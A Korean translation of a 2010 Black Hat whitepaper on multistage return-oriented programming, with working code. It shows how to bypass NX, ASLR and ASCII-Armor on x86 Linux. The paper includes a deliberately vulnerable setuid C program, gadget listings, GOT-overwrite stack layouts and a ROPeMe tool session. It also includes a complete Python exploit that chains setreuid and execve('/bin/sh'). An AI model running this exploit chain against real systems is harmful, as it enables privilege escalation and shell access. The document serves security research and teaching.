PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP EXPLOITS Black Hat USA 2010 Whitepaper longld at vnsecurity.net Abstract return-to-libc(rtl) 와 burrowed-code-chunks 기법에기반을두고있는 Return-oriented programming (ROP) 는 NX를우회하기위한말이많은공격기법중하나이다. 이것은 exploitations on Windows, iphone OS DEP bypass 그리고 code signing 같은실질적인기술에이용된다. 최근의리눅스배포판에서는 ASCII-Armor address mapping(libc 주소의시작이 NULL byte) 그리고 Address Space Layout Randomization(ASLR) 이 RTL/ROP에대응하기위해기본적으로설정되어있다. 이문서에서는우리가어떻게고전적인 RTL 기법을발전시켜단계적으로 ASLR 그리고 ASCII- Armor를우회하고최근의 x86 Linux 시스템에서의 ROP/RTL 공격을쉽게하는지보여줄것이다. 추가적으로코드를재사용하는것뿐만아니라바이너리자체의 data 또한이용하여 ASLR을우회하고 RTL 또는 ROP 체인을구성할수있다. Keywords : return-oriented-programming, return-to-libc, ASLR, NX, ASCII-armor, buffer overflow, exploitation 1 Introduction Buffer overflow 취약점은 30여년전부터현재까지유효하고, 많이알려져있다. 어플리케이션과시스템레벨에서의수많은 BOF 대응기법들이개발되어왔다. 이문서에서는최근의리눅스배포판에서사용할수있는 DEP, ASRL 그리고 ASCII-Armor를포함한진보된시스템레벨의방어기법들에초점을맞출것이다. BOF 공격은 full ASLR과 NX를포함한최근의리눅스배포판에서는더욱더어렵다. 이러한배포판들은 ASLR과 NS를우회하는일반적인해결책은알수없다. 전통적인 code injection attack [1] 은 NX가실행된시스템에서는더이상동작하지않는다. Return-to-libc [2] 라는널리알려진공격은 NX를우회하기위해개발됐다. RTL은 ret-to-libc call 체인 (setuid(), system( /bin/sh )) 을만드는것이요구된다. 이러한것은 esp lifting 그리고 frame faking [3] 과같은고급기법을통해할수있
다. 최근에는 ret-to-libc와 borrowed code chunks [4] 에기반한 Return-Oriented- Programming(ROP) 공격 [5], 새로운공격기법으로써다양한시스템의 NX/DEP를우회한다. returning into libc functions를대신해서 ROP에서는가젯 (gadget) 이라불리는 ret 인스트럭션으로끝나는코드덩어리로리턴한다. 충분한숫자의가젯만있다면우리는임의의연산을 ROP을통해수행할수있다. ret-to-libc와 ROP을이용하면 NX를우회할수있다. 하지만이것은여전히 ASLR과 ASCII-Armor 에대한문제점을가지고있다. 공격자는랜덤화된 libc function의주소와 function 인자들의주소를해결할수있다. 입력한 NULL 바이트는문자열처리함수에의해 drop 될수있다. ASLR을우회하기위해서공격자는랜덤화된주소또는포맷스트링버그같은정보누출취약점을공략하기위해 brute-forcing [6] 을이용한다. Brute-forcing은랜덤화로인한낮은불확실성속에서 library 주소를공략할수있다. ROP의발전과함께 surgical precision 기법 [7] 은 GOT 덮어쓰기와역참조를통해 ASLR을우회할수있게발전되었다. 이기법은 ret-to-libc 공격의랜덤화된 library 주소를해결할수있게했으나랜덤화된스택의문제는여전히남아있다. 이문서에서는 return-oriented 기법으로 buffer overflow 공격을이용해최신의 x86 리눅스에서 NX, ASLR 그리고 ASCII-Armor를우회하는것을단계적으로소개할것이다. 이기법은진보된 ret-to-libc의조합과확장으로써 NX와 runtime에서의 ASLR을우회하여 libc주소의문제점을해결한다. NULL 바이트문제와 ASCII-Armor는 stage-0의로더 (loader) 를이용해우회할것이다. 첫번째로고정된위치에서의 custom stack을만들고 stage-1 에서의 ret-to-libc의 call 체인또는 ROP 가젯을이용한실제 payload를이용한다. 이것은 section 2.2 에서보여줄쓰기가능한모든메모리위치에서의공격을쉽게한다. 두번째로 stage-0의로더를이용해 custom stack에실제 payload를전송한다. section 2.3에서는 stage-0의로더가취약한바이너리에서만들어진 payload에서재사용한 data byte 들을어떻게구성할지보여줄것이다. stage-0의마지막에는 stack frame을 custom stack으로변경하고그곳에서실제 payload를실행할것이다. section 3.1에서는 stage-0 의일반적인기법으로만들어진것을대체할만한어떤것을보여줄것이다. 마지막으로 sectioni 2.4와 2.5에서는 stage-1의 payload를위한 ROP과어떤보통의계획을통해 runtime시에 libc 주소의문제를어떻게해결하는지설명할것이다. 2 Multistage return-oriented exploitation technique 2.1 The sample vulnerable program 아래의간단한스택기반의 buffer overflow code 를이용해기법을증명할것이다.
// vuln.c // gcc -o vuln vuln.c -fno-stack-protector -fno-pie -mpreferred-stack-boundary=2 #include <string.h> #include <stdio.h> int main (int argc, char **argv) { char buf[256]; int i; seteuid (getuid()); if (argc < 2) { puts ("Need an argument\n"); exit (1); } // vulnerable code strcpy (buf, argv[1]); printf ("%s\nlen:%d\n", buf, (int)strlen(buf)); return (0); } 위의코드는컴파일과실행환경은 Fedora 13 x86, kernel 2.6.33이고 ASLR과 Exec-Shield이다. 이프로그램을공격하기위해서 ROP/ret-to-libc call의 chain을만들어야하고 payload에는반드시 NULL 바이트가포함되지않아야한다. 2.2 A Custom stack at fixed location 만약고정된위치의 custom stack을만들수있을때그곳으로점프를하고실행이계속되면아래의문제점들을해결할수있다. 랜덤화된스택주소즉 ASLR을우회 ret-to-libc call 체인의인자들이요구하는정확한위치 섹션에서 ROP 가젯인 leave 인스트럭션을통해흐름을컨트롤 우리의목적을위한.data 또는.bss 영역같이위치에독립적인바이너리 (PIC) 는고정된위치를쉽게찾아낼수있다. 아래는 readelf의결과이다.
Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1].interp PROGBITS 08048134 000134 000013 00 A 0 0 1 [ 2].note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4 [ 3].note.gnu.build-i NOTE 08048168 000168 000024 00 A 0 0 4 [ 4].gnu.hash GNU_HASH 0804818c 00018c 000020 04 A 5 0 4 [ 5].dynsym DYNSYM 080481ac 0001ac 0000b0 10 A 6 1 4 [ 6].dynstr STRTAB 0804825c 00025c 000073 00 A 0 0 1 [ 7].gnu.version VERSYM 080482d0 0002d0 000016 02 A 5 0 2 [ 8].gnu.version_r VERNEED 080482e8 0002e8 000020 00 A 6 1 4 [ 9].rel.dyn REL 08048308 000308 000008 08 A 5 0 4 [10].rel.plt REL 08048310 000310 000048 08 A 5 12 4 [11].init PROGBITS 08048358 000358 000030 00 AX 0 0 4 [12].plt PROGBITS 08048388 000388 0000a0 04 AX 0 0 4 [13].text PROGBITS 08048430 000430 0001dc 00 AX 0 0 16 [14].fini PROGBITS 0804860c 00060c 00001c 00 AX 0 0 4 [15].rodata PROGBITS 08048628 000628 000028 00 A 0 0 4 [16].eh_frame_hdr PROGBITS 08048650 000650 000024 00 A 0 0 4 [17].eh_frame PROGBITS 08048674 000674 00007c 00 A 0 0 4 [18].ctors PROGBITS 080496f0 0006f0 000008 00 WA 0 0 4 [19].dtors PROGBITS 080496f8 0006f8 000008 00 WA 0 0 4 [20].jcr PROGBITS 08049700 000700 000004 00 WA 0 0 4 [21].dynamic DYNAMIC 08049704 000704 0000c8 08 WA 6 0 4 [22].got PROGBITS 080497cc 0007cc 000004 04 WA 0 0 4 [23].got.plt PROGBITS 080497d0 0007d0 000030 04 WA 0 0 4 [24].data PROGBITS 08049800 000800 000004 00 WA 0 0 4 [25].bss NOBITS 08049804 000804 000008 00 WA 0 0 4 [26].comment PROGBITS 00000000 000804 00002c 01 MS 0 0 1 [27].shstrtab STRTAB 00000000 000830 0000fc 00 0 0 1 [28].symtab SYMTAB 00000000 000ddc 000470 10 29 45 4 [29].strtab STRTAB 00000000 00124c 000265 00 0 0 1 custom stack을위치시킬곳으로 0x08049804를선택할수있다. 사실 0x08049000 0x0804a000 사이의주소를선택할수도있지만목적에맞으려면영역이길어야하고, 정적이며, 사전에알수있어야하고, 쓰기가능하며사이즈가커야한다 ( 적어도 4096byte). 몇가지 custom stack을선택하기위한조건 : NULL 값을피하기위해서는마지막바이트가값이작은주소를선택해야한다., e.g : 0x08049810
GOT 테이블안의 entry들을덮어쓰지않도록조심해야한다. 스택은아래로자라기때문에 data page의시작점에만들지않아야한다. e.g 0x08049010영역은후에 ret-to-libc 호출에실패를불러올수있다. 일반적인경우.data 또는.bss 영역의뒤쪽은 custom stack으로선택하기에안전하다. payload를구성하기에완벽한고정된 custom stack을가지게됐으니다음문제는코드가실행되는동안철저하게모르는함수를 ROP/ret-to-libc 에서요구하는 payload를 custom stack에전송하는지이다. 다음섹션에서는어떻게진부한 ret-to-libc 기법을발전시켜 stage-0 loader를통해다음 stage의 payload를 custom stack으로전송할지보여줄것이다. 2.3 Stage-0 payload loader stack 기반의 BOF 취약점이있는바이너리실행을컨트롤할때우리는 stack 또한컨트롤할수있다. 최신커널의 full ASLR 환경에서 stack이랜덤이고이것은주소추축을어렵게한다. 또한 ASCII-Armor 때문에 libc 주소영역은 NULL byte로시작하기때문에입력한문자열함수의흐름을멈추게한다. memcpy() 또는 strcpy() 와같은메모리를전달하는함수들을이용해 payload를새로운장소에복사를할거지만소스에는의존하진않는다. 이아이디어는꽤나단순하고직관적이다. (payload를 custom stack에복사하는대신 return-to-plt와 esp lifting 기법을이용해 payload를 byte-per-byte 값으로전송할것이다. 2.3.1 return to-plt 위치에독립적이지않은바이너리안에서 PLT(Procedure Linkage Table) 섹션은고정된주소로매핑된다. 때문에 payload를목적에맞게전송시킬수있는 PLT 내의함수로리턴시킬수있다.
gdb$ disassemble main Dump of assembler code for function main: 0x080484e4 <+0>: push ebp 0x080484e5 <+1>: mov ebp,esp 0x080484e7 <+3>: and esp,0xfffffff0 0x080484ea <+6>: sub esp,0x120 0x080484f0 <+12>: call 0x80483e8 <getuid@plt> 0x080484f5 <+17>: mov DWORD PTR [esp],eax 0x080484f8 <+20>: call 0x8048408 <seteuid@plt> 0x080484fd <+25>: cmp DWORD PTR [ebp+0x8],0x1 0x08048501 <+29>: jg 0x804851b <main+55> 0x08048503 <+31>: mov DWORD PTR [esp],0x8048634 0x0804850a <+38>: call 0x80483f8 <puts@plt> 0x0804850f <+43>: mov DWORD PTR [esp],0x1 0x08048516 <+50>: call 0x8048418 <exit@plt> 0x0804851b <+55>: mov eax,dword PTR [ebp+0xc] 0x0804851e <+58>: add eax,0x4 0x08048521 <+61>: mov eax,dword PTR [eax] 0x08048523 <+63>: mov DWORD PTR [esp+0x4],eax 0x08048527 <+67>: lea eax,[esp+0x1c] 0x0804852b <+71>: mov DWORD PTR [esp],eax 0x0804852e <+74>: call 0x80483c8 <strcpy@plt> 0x08048533 <+79>: lea eax,[esp+0x1c] 0x08048537 <+83>: mov DWORD PTR [esp],eax 0x0804853a <+86>: call 0x80483b8 <strlen@plt> 0x0804853f <+91>: mov edx,eax 0x08048541 <+93>: mov eax,0x8048645 0x08048546 <+98>: mov DWORD PTR [esp+0x8],edx 0x0804854a <+102>: lea edx,[esp+0x1c] 0x0804854e <+106>: mov DWORD PTR [esp+0x4],edx 0x08048552 <+110>: mov DWORD PTR [esp],eax 0x08048555 <+113>: call 0x80483d8 <printf@plt> 0x0804855a <+118>: mov eax,0x0 0x0804855f <+123>: leave 0x08048560 <+124>: ret End of assembler dump. 분명히 strcpy(), sprint(), scanf(), memcpy() 와같은메모리전송함수는사용할수있다. 여기서는 strcpy() / sprintf() 를입력에서 NULL byte를피하는것으로선택했다.(strcpy() 와 sprint() 는동일하게하나또는그이상의 byte를현재위치에서다른위치로복사한다.
payload를 custom stack으로전송하기위해서바이너리내의 strcpy@plt로여러번리턴할것이다. stack의 layout은아래와같을것이다. strcpy@plt pop-pop-ret custom_stack_address address_of_desired_byte_1 strcpy@plt pop-pop-ret custom_stack_address+1 address_of_desired_byte_2... strcpy@plt pop-pop-ret custom_stack_address+n address_of_desired_byte_n pop-pop-ret 가젯은함수의에필로그또는 ROP 가젯카탈로그를찾기쉽게해준다. 아래는 vuln 프로그램에서가젯들을찾은것이다. 0x80484b3L: pop ebx ; pop ebp ; ret 0x80485d7L: pop edi ; pop ebp ; ret strcpy() / sprint() 의유용성 Fedora 13 Live CD로설치한리눅스의 /bin, /sbin, /usr/sbin, /usr/bin 내의사이즈가 20KB 이상이고 strcpy() 또는 sprint() 를사용한 916개바이너리를조사한결과 66.5% 의바이너리가사용중이였다. 이결과는취약한프로그램내의 strcpy() / sprint() 의사용빈도가높고많은경우에서우리의방법을지원한다는결론을알수있다. 전체적인해결책이될이방식을만들어낼지는섹션 3.1.1에서어떻게어떤 PLT 함수를 GOT에덮어쓰는기법을이용해 strcpy() / sprint() 로전환함으로써보여줄것이다. byte 값들의유용성 Fedora 13 Live CD로설치한리눅스의 /bin, /sbin, /usr/sbin, /usr/bin 내의 916개바이너리를조사한결과사이즈가 20KB 이상이고각 1byte(0x00~0xff) 의 256개값을다포함한바이너리는 98.7% 라는것을알아냈다. 비록몇개의 byte가누락되었더라도 payload를없는값들을피하도록조정해서 payload를구성할수있다. 2.3.2 The loader stage-0의 payload loader 는다음과같이동작한다. 다음 stage에서나올 NULL을비롯한여러 byte 값들을포함한 payload를순서대로입력한것을받는다. 입력한하나또는그이상의 byte들각각길이가가장긴하위문자열의바이너리에서검색하여매칭되는문자열의주소를가져온다. 만약주소값안에 0x0(NULL) 이있다면다음매치되는곳에서찾는다. section 2.3.1에서설명한 strcpy() 의흐름을만든다. 위의 2 단계를 byte가남지않을때까지반복한다. stage-0의 payload에서는 NULL byte가없다. 다음 stage의 payload에서는 ASCII-Armor를효과적으로우회하여 NULL byte가포함된어떤값을 custom stack으로복사할것이다.
아래의 stage-0 payload 의예제에서 /bin/sh 문자열이 0x08049824 에위치한것을볼수있다. --- PLT entries --- Function Address exit 0x8048418 gmon_start 0x8048398 puts 0x80483f8 strcpy 0x80483c8 libc_start_main 0x80483a8 seteuid 0x8048408 printf 0x80483d8 getuid 0x80483e8 strlen 0x80483b8 pop-pop-ret gadget: 0x80484b3: pop ebx ; pop ebp ; ret Byte values and stack layout 0x8048134 : 0x2f '/' ['0x80483c8', '0x80484b3', '0x8049824', '0x8048134'] 0x8048137 : 0x62 'b' ['0x80483c8', '0x80484b3', '0x8049825', '0x8048137'] 0x804813d : 0x696e 'in' ['0x80483c8', '0x80484b3', '0x8049826', '0x804813d'] 0x8048134 : 0x2f '/' ['0x80483c8', '0x80484b3', '0x8049828', '0x8048134'] 0x804887f : 0x736800 'sh\x00' ['0x80483c8', '0x80484b3', '0x8049829', '0x804887b'] stage-0의마지막에선다음 stage로넘어가기위해 stack pointer를 custom stack으로옮겨야한다. 이방법은함수의 epilogue를이용해리턴하는방식대신 frame-faking 기법으로어떤 ROP 가젯을통해 ESP 레지스터를변경할수있다. 아래에대부분의바이너리안에있는유용하고많이사용되는가젯들이있다. pop ebp; ret # load the custom stack address leave; ret # switch to new stack frame or mov esp, ebp; pop ebp; ret 이제 static stack을구성하고원하는 payload를 custom stack에전송할수있다. 이제 stage-1의 payload로이동할수있다. 앞으로해결할문제는 ret-to-libc와 ROP을통해 NX와 ASLR을우회하는것이다. 다음 section에서는어떻게 ret-to-libc 공격을구성하여랜덤인런타임의 libc 함수의
주소를해결할지보여줄것이다. 2.4 Resolving libc addresses libc 함수주소에 brute-forcing을할수있지만이것은제대로된랜덤화가아니므로여기서설명하진않겠다. 이 section에선어떻게 GOT 덮어쓰기와 GOT 역참조기법을통해 libc 주소의랜덤화를해결할지보여줄것이다. Fedora 10 x86에서는 GOT 덮어쓰기는 95% GOT 역참조는 49.5% 의성공률을보였다. 이제위의기법을발전시켜어떤바이너리에서도 100% 의성공률을보여줄것이다. 2.4.1 GOT overwriting GOT 덮어쓰기는 format string exploit에서쓰이는유명한기법이다. 우리가의도하는건 PLT entry call을계기로함수의 GOT entry의내용을타겟함수의값으로덮어쓰는것이다. libc의함수주소들이랜덤적이긴하지만두함수사이의오프셋은변함이없다. offset = execve() - printf() execve() = printf() + offset printf() 의 GOT entry에부합하는 printf() 의호출이끝난후첫번째로 libc 런타임주소가포함될것이다. execve() 와함께 printf() 의 GOT entry를덮어쓰기위해서값을로드해더하고 GOT 메모리영역으로저장하는몇개의가젯이필요하다. vuln 바이너리의경우에아래의가젯들을찾았다. pop ecx ; pop ebx ; leave; ret (1) pop ebp; ret (2) add [ebp+0x5b042464] ecx ; pop ebp; ret (3) 우리는 offset(printf@got) 을 ECX에로드할것이다. ECX는 add가젯을통해 EBP+0x5b042464와더해진뒤 execve() 의주소를 printf@got에쓴다. 잘알다시피 ECX에로드할가젯 (1) 을따르는 leave 인스트럭션과사용되지않는만약스택이랜덤이라면 leave 이후에실행의컨트롤이느슨해질수있다. 사전에알려진고정된주소에로드된 custom stack 문제가아니다. 우리는많은 GOT 엔트리를덮어쓰는스탭을반복하며우리가원하는 PLT 엔트리를통해특정 ret-to-libc 콜체인을만든다. GOT 덮어쓰기를위한코드의 stack layout 은아래와같다.
--- PLT entries --- Function Address... printf 0x80483d8... --- GOT table --- Function Address... printf 0x80497f0... Offset value: execve() = 0x09de10 printf() = 0x049cf0 offset = 0x54120 Gadgets address: 0x8048624: pop ecx ; pop ebx ; leave ; ret 9/21 0x80484b4: pop ebp ; ret 0x80484ae: add [ebp+0x5b042464] ecx ; pop ebp ; ret 2.4.2 GOT dereferencing 이기법은 GOT 덮어쓰기와비슷하나메모리합계결과를쓰는대신레지스터를더하고 call reg; ret 또는 jmp reg 가젯을통해점프를한다. vuln 바이너리의경우에아래의가젯을찾았다. pop eax ; pop ebx ; leave ; ret (1) add eax [ebx-0xb8a0008] ; lea esp [esp+0x4] ; pop ebx ; pop ebp ; ret (2) call eax ; leave ; ret (3)
다시말하지만 leave 가후행에포함되는유용한가젯들은 custom static stack 을해결할수있다. call eax 이후에우리의스택으로리턴되면특정 ret-to-libc 콜체인을만드는순서를반복한다. GOT dereferencing 코드를위한 stack layout은다음과같다. --- PLT entries --- Function Address... printf 0x80483d8... --- GOT table --- Function Address... printf 0x80497f0... Offset value: execve() = 0x09de10 printf() = 0x049cf0 offset = 0x54120 Gadgets address: 0x80484b4: pop ebp ; ret 0x8048384: pop eax ; pop ebx ; leave ; ret 0x80485fe: add eax [ebx-0xb8a0008] ; lea esp [esp+0x4] ; pop ebx ; pop ebp ; ret 0x80484e0: call eax ; leave ; ret 2.4.3 Availability of GOT manipulation gadgets section 2.4.1 과 2.4.2 의 GOT overwriting 과 dereferencing 가젯을위한 vuln 바이너리를검사하고
이것이 main() 함수에속하지않지만 GCC 컴파일러에서만들어진보조함수인지찾는다. 이것은이가젯을최신의리눅스배포판에서 GCC로컴파일한어떤바이너리에서도찾을수있다는것을의미한다. GOT overwriting gadgets: 0x8048624 <_fini+24>: pop ecx 0x8048625 <_fini+25>: pop ebx 0x8048626 <_fini+26>: leave 0x8048627 <_fini+27>: ret 0x80484ae < do_global_dtors_aux+78>: add DWORD PTR [ebp+0x5b042464],ecx 0x80484b4 < do_global_dtors_aux+84>: pop ebp 0x80484b5 < do_global_dtors_aux+85>: ret GOT dereferencing gadgets: 0x8048384 <_init+44>: pop eax 0x8048385 <_init+45>: pop ebx 0x8048386 <_init+46>: leave 0x8048387 <_init+47>: ret 0x80485fe < do_global_ctors_aux+30>: add eax,dword PTR [ebx-0xb8a0008] 0x8048604 < do_global_ctors_aux+36>: lea esp,[esp+0x4] 0x8048608 < do_global_ctors_aux+40>: pop ebx 0x8048609 < do_global_ctors_aux+41>: pop ebp 0x804860a < do_global_ctors_aux+42>: ret 2.5 Stage-1 payload 우리는 stage-1 payload를위한많은계획이있기때문에일이수월해졌다. 만약우리가단지몇개의함수호출을만들어낼필요가있었다면, ret-to-libc 체인은충분하다. 만약우리가 bind shell 과같은복잡한업무를수행해야한다면우리는아마쉘코드를바로실행하길원할것이다. 이번 section에서는우리는많은최신의리눅스배포판들에서 NX를우회해서 stage-1 payload를위한몇개의평범한계획들을보여줄것이다. 2.5.1 Chanined ret-to-libc calls 이것은 NX를우회하는가장기본적인방법이다. 몇몇 Grsecurity, SELinux와같은추가적인커널단패치의제한은몇몇시스템콜의실행을막는다. esp lifting을위해 ROP 가젯은도움을준다. 우리는추가적으로 2개의인자와함께함수호출을만들수있다. vuln 프로그램의경우아래와같은가젯을찾을수있다. 0x80485d5: pop ebx ; pop esi ; pop edi ; pop ebp ; ret (1) 0x80485d2: add esp 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret (2) 가젯 (1) 은 1~4개의인자와함께함수호출을사용할수있고, 가젯 (2) 는특정갯수 (11 이상 ) 의인자
로함수호출을사용할수있다. ret-to-libc 체인호출의단점으로는 : a) 임의의코드를같이수행할수없다. e.g: loop, 조건부 jump b) 스택에위치할필요가있는다음함수를호출하는이전의호출에서리턴하는값을다루는게쉽지않다. c) 복잡한쉘코드 (e.g: bind shell, reverse shell) 를수행하는것이순수한 ret-to-libc가복잡해질수있다. 이러한단점들은 ROP 가젯으로보완함으로써극복할수있다. 예를들어, 함수호출 ( 보통 eax에저장된값 ) 로리턴되는값은 libc에서찾을수있는메모리저장가젯으로 custom stack에위치시킬수있다. pop edx ; ret mov [edx+0x18], eax; ret 이가젯들의주소는 GOT overwriting 기법으로호출된런타임의바이너리에서구할수있다. 2.5.2 Return-to-mprotect mprotect() 제한은수년전에 PaX 프로젝트에서소개되었지만메인커널에통합되지않았고많은최신리눅스배포판에실리지않았다. mprotect() 제한이걸리지않은시스템에서는 ret-tomprotect(), ret-to-memcopy(), ret-to-shellcode 체인을이용해 NX를우회할수있다. 2.5.3 ROP shellcode 우리가원하는특정연산을 libc 내의많은수의 ROP 가젯을이용해효과적으로 libc addresses와 ASCII-Armor 문제를해결하였다. custom static stack 또한 ROP shellcode를제작하는것을더욱쉽게만들어준다. 3 Practical ROP exploit 3.1 A complete stage-0 loader section 2.4.1에서우리가추정한취약한바이너리내의 strcpy()/sprint() 는유용하고이것을 stage- 0의로더를이용해사용할수있다. 이번 section에서는우리의아이디어를발전시켜서 stage-0 로더를일반적인해결책이되도록그리고어떤취약한프로그램에서도동작하게끔만들것이다. 3.1.1 Turn any function to strcpy() / sprint() 만약바이너리내에 strcpy() / sprint() 가존재하지않는다면우리는 section 2.4.1에서설명한 GOT overwriting 기법을이용해특정 libc 함수를 strcpy()/sprint() 로바꿀수있다. 우리는 NULL byte와 trailing leave 문제점을해결할몇가지트릭이필요하다. 어떻게 vuln 프로그램내의 printf() 를 strcpy() 로바꿀수있는지자세하게알아보자.
Dealing with trailing leave section 2.4.1에서우리는 GOT overwriting을위해아래가젯을이용했다. pop ecx ; pop ebx ; leave; ret (1) pop ebp; ret (2) add [ebp+0x5b042464] ecx ; pop ebp; ret (3) stage-0에서스택은랜덤이기때문에 trailing leave 와함께 ECX에값을로드하는 gadget(1) 은사용할수없다. 대신, 우리는 ECX 레지스터의값을스택에올려진인자값들로고쳐서함수로리턴할것이다. 그러한종류의함수들은바이너리내의 Linux syscall table을참조해쉽게찾을수있다. vuln 프로그램의경우우리가원하는특정 euid로 seteuid() 로리턴할수있다. 호출이실패할수있지만 ECX레지스터에로드된값과함께실행을계속할수있을것이다. 이트릭은 EAX, EBX, EDX와같은다른레지스터를똑같이지원한다. Dealing with NULL byte in offset 입력중 NULL byte 피하기위해서는하나의부정값을두번의 add 를실행한다. 예를들어 GOT 엔트리에 offset 값인 0x54120을더한값에 0x41414141을더하고나서 0xbec3ffdf를더한다. 또다른트릭으로는 GOT 주소의한 byte를낮은방향으로 shft하고새로운 offset을계산한다. execve() = 0x09de10 printf() = 0x049cf0 offset = (0x539e10 << 8 + 1) - (0x4e5cf0 << 8) = 0x5412001 3.1.2 ROP stage-0 loader 크기가큰바이너리에서우리는아래와같은 leave 가딸려오지않는 load 와 add 가젯을찾을수있다. pop ecx; ret (1) pop ebp; ret (2) add [ebp+0x5b042464] ecx; ret (3) custom stack 주소는 EBP에로드되고 ECX에로드된 payload의값과함께 4-byte를한값으로전송하여 stage-0로더에서위의가젯들을사용할수있다. 알려진대로우리는이방식과함께우리의 custom stack을위한설정하지않은데이터영역을선택할수있다. 3.2 Practical ROP gadgets catalog 이론적으로크기가큰바이너리 (e.g libc) 에서어떤연산이든실행하는특정 ROP 가젯목록들을빌드할수있다. 실제로는, ROP 익스플로잇을빌드하기위해서우리는 section2에서보여준특정
바이너리에서찾을수있는몇몇가젯들이필요하다. ROP 익스플로잇을개발하기위해서는뒤에오는가젯들이충분히 sound 하도록바이너리안을검색해야한다. pop r32; ret add [r32 + offset] r32; ret add r32, [r32 + offset]; ret (optional) call r32; ret (optional) jmp r32 (optional) 가젯들을작고포괄적으로목록을유지하면우리는높은휴대성의 ROP 익스플로잇툴을자동으로쉽게빌드할수있다. 4 Putting all together 우리는바이너리내에서 ROP 가젯들을만들고, 저장하고검색하는 ROPEME (ROP Exploit Made Easy) 라불리는툴로증명을할것이다. 우리는몇개의명령어들그리고결과를저장하고다음의트리를위해 RET(0xc3) 코드가붙는바이너리를찾았다. 복사된가젯들은또한잘못된문자들을피하기위해대체된주소들이저장된다. 추가적으로, 우리는 stage-1과 stage-0 페이로드 generator로전의섹션에서논의된 ROP exploit 자동화를시도했다. ROP 가젯의생성과검색에사용되는쉘의예 : $./ropeme/ropshell.py Simple ROP interactive shell: [generate, load, search] gadgets ROPeMe> help Available commands: type help <command> for detail generate Generate ROP gadgets for binary load Load ROP gadgets from file search Search ROP gadgets shell Run external shell commands ^D Exit ROPeMe> generate vuln 3 Generating gadgets for vuln with backward depth=3 It may take few minutes depends on the depth and file size... Processing code block 1/1 Generated 58 gadgets Dumping asm gadgets to file: vuln.ggt... OK ROPeMe> help search Search for ROP gadgets, support wildcard matching?, % Usage: search gadget [-exclude_instruction] Example: search mov eax? # search for all gadgets contains "mov eax"
Example: search add [ eax % ] % # search for all gadgets starting with "add [eax" Example: search pop eax % -leave # search for all gadgets starting with "pop eax" and not contains "leave" ROPeMe> search add [ % Searching for ROP gadget: add [ % with constraints: [] Searching for ROP gadget: add [ % with constraints: [] 0x8048383L: add [eax+0x5b] bl ; leave ;; 0x804855eL: add [eax] al ; add [eax] al ; leave ;; 0x8048361L: add [eax] al ; add [ebx-0x7f] bl ;; 0x8048615L: add [eax] al ; add [ebx-0x7f] bl ;; 0x804855fL: add [eax] al ; add cl cl ;; 0x8048560L: add [eax] al ; leave ;; 0x80484aeL: add [ebp+0x5b042464] ecx ; pop ebp ;; 0x8048363L: add [ebx-0x7f] bl ;; 0x8048617L: add [ebx-0x7f] bl ;; ROPeMe> search pop? Searching for ROP gadget: pop? with constraints: [] 0x80484b4L: pop ebp ;; 0x8048573L: pop ebp ;; 0x80485d8L: pop ebp ;; 아래는 ROP/ret-to-libc call 체인이포함된 vuln 프로그램의 exploit 코드이다. #!/usr/bin/env python import struct import os import sys from ropeme.payload import * # exploit template def exploit(program, libc, memdump = ""): # turn debug = 1 for verbose output P = ROPPayload(program, libc, memdump, debug = 0) # these gadgets can be found by ropshell.py or ropsearch.py ### start ### # pop ecx ; pop ebx ; leave ;; = 0x8048624 # pop ebp ;; = 0x80484b4 # add [ebp+0x5b042464] ecx ; pop ebp ;; = 0x80484ae ### end ### P.gadget_address["addmem_popr1"] = 0x8048624 P.gadget_address["addmem_popr2"] = 0x80484b4
P.gadget_address["addmem_add"] = 0x80484ae P.gadget_address["ret"] = 0x8048574 # to avoid unavailable byte value # set the custom stack address if required P.stack = 0x08049810 # pick getuid() as the target function for GOT overwriting target = "getuid" # stage-1: overwrite GOT entry of target function with setreuid() stage1 = P.got_overwrite(target, target, "setreuid", trailing_leave = 1, leave_offset = -16, got_offset = 0x5b042464) # stage-1: call setreuird() via PLT to restore ruid/euid to nobody = 99 stage1 += P.stage1_setreuid(target, -1, 99) stage1 += P.stage1_setreuid(target, 99, -1) # stage-1: overwrite GOT entry of target functuon with execve() # which already points to setreuid() in previous step stage1 += P.got_overwrite(target, "setreuid", "execve", 1, -16, 0x5b042464) # stage-1: call execve("/bin/sh") via PLT stage1 += P.stage1_execve(target, "/bin/sh") # generate stage-0 stage0 = P.gen_stage0("strcpy", stage1, badchar = [0x00], format = "raw") # padding data padding = P.hex2str(P.gadget_address["ret"]) * 70 payload = padding + stage0 # launch the vulnreable os.execve(program, [program, payload], os.environ) if ( name == " main "): import sys try: program = sys.argv[1] except: pass libc = "/lib/libc.so.6" try: libc = sys.argv[2] except: pass exploit(program, libc) 이익스플로잇은 Fedora13 에서동작하고 NX, ASLR, ASCII-Armor mapping 을우회한다.
[longld@fedora13 demo]$ ls -l vuln -rwsr-xr-x. 1 nobody longld 5301 Jun 27 03:33 vuln [longld@fedora13 demo]$ id uid=500(longld) gid=500(longld) groups=500(longld) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [longld@fedora13 paxtest-0.9.9]$./paxtest blackhat PaXtest - Copyright(c) 2003,2004 by Peter Busser <peter@adamantix.org> Released under the GNU Public Licence version 2 or later Mode: blackhat Linux fedora13 2.6.33.3-85.fc13.i686 #1 SMP Thu May 6 18:44:12 UTC 2010 i686 i686 i386 GNU/Linux Executable anonymous mapping : Killed Executable bss : Killed Executable data : Killed Executable heap : Killed Executable stack : Killed Executable shared library bss : Vulnerable Executable shared library data : Vulnerable Executable anonymous mapping (mprotect) : Vulnerable Executable bss (mprotect) : Vulnerable Executable data (mprotect) : Vulnerable Executable heap (mprotect) : Killed Executable stack (mprotect) : Vulnerable Executable shared library bss (mprotect) : Vulnerable Executable shared library data (mprotect): Vulnerable Writable text segments : Vulnerable Anonymous mapping randomisation test : 12 bits (guessed) Heap randomisation test (ET_EXEC) : 13 bits (guessed) Heap randomisation test (PIE) : 18 bits (guessed) Main executable randomisation (ET_EXEC) : No randomisation Main executable randomisation (PIE) : 12 bits (guessed) Shared library randomisation test : 12 bits (guessed) Stack randomisation test (SEGMEXEC) : 19 bits (guessed) Stack randomisation test (PAGEEXEC) : 19 bits (guessed) Return to function (strcpy) : Vulnerable Return to function (memcpy) : Vulnerable Return to function (strcpy, PIE) : Vulnerable Return to function (memcpy, PIE) : Vulnerable [longld@fedora13 demo]$./exploit.py 